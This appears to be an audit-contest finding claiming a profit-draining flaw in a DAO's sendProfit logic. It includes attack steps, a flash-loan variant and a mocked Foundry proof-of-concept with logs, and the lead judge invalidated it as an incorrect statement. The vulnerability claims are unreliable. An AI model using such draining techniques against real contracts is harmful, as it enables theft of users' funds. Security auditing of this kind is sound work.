Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

malicious member can drain all Profit by inflating totalProfit.

Summary

A critical vulnerability in the profit distribution mechanism allows a malicious user to claim all profit tokens intended for
legitimate users by inflating the totalProfit.

Vulnerability Details

NOTE: this issue opens multiple kind of attacks:

  1. attacker can steal all Profit.

  2. attacker can Prevent members from claiming their shares and Dos the whole claiming process.

The vulnerability lies in the sendProfit function, which calculates the totalProfit based on the totalSupply. An attacker can mint
the first token, obtaining 100% of the share, and then send a large amount of tokens eg: 10k USDC via sendProfit.
After attacker sendProfit and inflate totalProfit he can claim 10k back in same Tx.
and then attacker buys new tier with another account now when DAO sends Profit to users the attacker can claim all tokens to himself.

  1. attacker mints the first token, tokenId 6, gaining 100% of the share (since they are the only holder).

  2. attacker sends 10k USDC to sendProfit, due to the calculation, totalProfit is massively inflated.

  3. attacker calls claimProfit and receives all of the profit due to their total share.

  4. attacker buy a new tier lets say tokenId_6 (1 share)

  5. after users joined the DAO the DAO wants to distribute Tokens to users.

  6. DAO sends 20k.

  7. now attacker with the new account (tokenId_6 -> 1 share) he can back-run DAO Tx and claim all the tokens.

POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {Attack} from "../src/Hacking.sol";
contract CounterTest is Test {
Attack public myTest_;
function setUp() public {
myTest_ = new Attack();
}
function test_attack() public {
// attacker mints tokenId 6.
myTest_.mint(6);
require(myTest_.totalSupply() == 1);
// Mock attacker send 10K USDC.
myTest_.sendProfit(10000e6);
// Mock user claimProfit in same Tx.
myTest_.claimProfit();
// Now Attacker buys a new tier with another account.
myTest_.mint(6);
// DAO send profit 20K tokens to users.
myTest_.sendProfit(20000e6);
// now attacker with new account can claim all Tokens.
// attacker has share 1.
myTest_.claimProfit();
}
}
contract Attack {
uint256 public totalSupply;
uint256 public totalProfit;
uint256 public ACCURACY = 1e30;
mapping(address => uint256) public lastProfit;
mapping(address => uint256) public savedProfit;
function mint(uint256 tokenId) public {
totalSupply += 1 * 2 ** (6 - tokenId);
}
function sendProfit(uint256 amount) public {
if (totalSupply > 0) {
totalProfit += (amount * ACCURACY) / totalSupply;
}
console.log("TotalProfit:", totalProfit);
}
function claimProfit() external returns(uint256 profit) {
profit = saveProfit(msg.sender);
console.log("Amount Of Profit To Claim:", profit);
}
function saveProfit(address account) internal returns(uint256 profit) {
uint256 unsaved = getUnsaved(account);
lastProfit[account] = totalProfit;
profit = savedProfit[account] + unsaved;
savedProfit[account] = profit;
}
function getUnsaved(address account) internal view returns(uint256 profit) {
return ((totalProfit - lastProfit[account]) * shareOf(account)) / ACCURACY;
}
function shareOf(address account) public view returns(uint256) {
// Mock User has only one tokenId 6.
return 1;
}
}

Result

[PASS] test_attack() (gas: 110837)
Logs:
TotalProfit: 10000000000000000000000000000000000000000
Amount Of Profit To Claim: 10000000000
TotalProfit: 20000000000000000000000000000000000000000
Amount Of Profit To Claim: 20000000000
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 9.98ms (9.58ms CPU time)

Second attack

attacker can use flash loans to borrow lets say 10M USDC, he send them as first and only owner of shares
then he claim them back in same Tx, what happened here is that the totalProfit is inflated after that
when DAO sends Profit to members no one will be able to claim his share because the Profit will be 10M in USDC.

This is the result when attacker uses flash loan:

Logs:
TotalProfit: 10000000000000000000000000000000000000000000
Amount Of Profit To Claim: 10000000000000
TotalProfit: 10010000000000000000000000000000000000000000
Amount Of Profit To Claim: 10010000000000
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 7.23ms (6.92ms CPU time)

Impact

  1. attacker can steal all Profit.

  2. attacker can Prevent members from claiming their shares and Dos the whole claiming process.

Recommendations

  1. Prevent users to sendProfit.

  2. make delay eg: deposit can be made only after 1 day after Dao is created.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xgenaudits Submitter
9 months ago
0xbrivan2 Lead Judge
9 months ago
0xbrivan2 Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.